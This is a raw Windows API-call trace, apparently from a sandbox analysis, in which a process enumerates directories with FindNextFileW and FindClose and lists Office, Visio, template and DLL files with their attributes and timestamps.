	[0082.189] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd41f54a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdec90856, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xded02ee7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14c660, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PropertyModel.dll", cAlternateFileName="PROPER~1.DLL")) returned 1
	[0082.195] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0082.195] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2296098c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1
	[0082.259] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0082.259] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1
	[0082.259] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0082.259] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd71a51a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd71a51a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcd7406da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xad30, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="rdpqoemetrics.dll", cAlternateFileName="RDPQOE~1.DLL")) returned 1
	[0082.260] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0082.260] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4fef2b0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x8aa50, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1
	[0082.261] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0082.261] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x237aeb7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x397278, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1
	[0082.955] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.960] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4cce0ca, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cce0ca, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0082.960] FindClose (in: hFindFile=0x811a08 | out: hFindFile=0x811a08) returned 1
	[0082.963] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0082.963] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1349614, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x14a640, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1
	[0082.974] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.974] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x245644bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1
	[0082.974] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0082.974] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rsod", cAlternateFileName="")) returned 1
	[0082.986] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0082.995] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0082.998] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.998] FindNextFileW (in: hFindFile=0x811e88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0082.998] FindClose (in: hFindFile=0x811e88 | out: hFindFile=0x811e88) returned 1
	[0082.998] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0082.998] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0083.001] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0083.001] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 1
	[0083.002] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0083.002] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 0
	[0083.002] FindClose (in: hFindFile=0x811fc8 | out: hFindFile=0x811fc8) returned 1
	[0083.003] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0083.003] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30f09, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1
	[0083.003] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0083.003] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LoanAmortization.xltx", cAlternateFileName="LOANAM~1.XLT")) returned 1
	[0083.004] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.004] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0083.004] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.004] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0
	[0083.004] FindClose (in: hFindFile=0x811b48 | out: hFindFile=0x811b48) returned 1
	[0083.004] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0083.004] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0
	[0083.005] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0083.005] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0083.006] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1db9f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OriginLetter.Dotx", cAlternateFileName="ORIGIN~3.DOT")) returned 1
	[0083.007] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0083.007] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1
	[0083.007] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0083.007] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0
	[0083.007] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0083.007] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0083.007] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 1
	[0083.008] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.008] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1
	[0083.009] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0083.009] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1
	[0083.009] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0083.009] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 0
	[0083.009] FindClose (in: hFindFile=0x811a08 | out: hFindFile=0x811a08) returned 1
	[0083.009] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0083.010] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 1
	[0083.154] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0083.154] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 0
	[0083.154] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0083.154] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0083.155] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Common Programs", cAlternateFileName="COMMON~1")) returned 1
	[0083.193] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0083.193] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245d6b52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneDrive for Business.lnk", cAlternateFileName="ONEDRI~1.LNK")) returned 1
	[0083.193] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.193] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x868ac6fd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0083.215] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.216] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8913323b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="private", cAlternateFileName="")) returned 0
	[0083.216] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0083.216] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0083.216] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX64", cAlternateFileName="PROGRA~3")) returned 1
	[0083.218] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0083.218] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1
	[0083.220] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.221] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2f7aa31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f7aa31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1702b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1
	[0083.221] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0083.222] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1
	[0083.228] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
